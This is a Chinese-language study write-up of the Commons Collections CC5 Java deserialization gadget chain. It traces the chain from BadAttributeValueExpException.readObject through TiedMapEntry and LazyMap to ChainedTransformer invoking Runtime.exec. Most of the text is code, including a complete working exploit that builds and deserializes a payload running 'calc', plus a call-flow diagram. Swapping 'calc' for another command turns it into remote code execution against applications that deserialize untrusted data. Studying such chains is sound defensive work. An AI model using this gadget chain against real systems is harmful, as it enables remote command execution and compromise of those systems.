正向分析
入口类是 BadAttributeValueExpException 的 readObject() 方法,这一个倒是不难。关键是后面的。
逆向思维来看的话,LazyMap.get() 方法被 TiedMapEntry.toString() 所调用,而如果去找谁调用了 toString() 这也太多了,太难找了,我们只能正向分析。
BadAttributeValueExpException</font>的readObject

TiedMapEntry类下的toString

同类下的getValue

再找到LazyMap下的get

后半段是cc1正链的后半部分到LazyMap,直接拿进来
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  | 
Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
  | 
 
TiedMapEntry.getValue触发LazyMap.get



1
2
  | 
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
//        tiedMapEntry.toString();
  | 
 
回到链首

可以看到存在两个toString方法


当实例化BadAttributeValueExpException传入参数TiedMapEntry后
val也会得到TiedMapEntry,从而进入链子
所以需要先给个假的,再通过反射修改val的值
1
2
3
4
5
  | 
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
  | 
 
完整exp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
  | 
Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//        System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
//        decoratemap.get(Runtime.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
//        tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
  | 
 
流程图
1
2
3
4
5
6
7
  | 
BadAttributeValueExpException.readObject()
  TiedMapEntry.toString()
  TiedMapEntry.getValue()
     LazyMap.get()
        ChainedTransformer.transform()
          ConstantTransformer.transform()
            InvokerTransformer.transform()
  | 
 
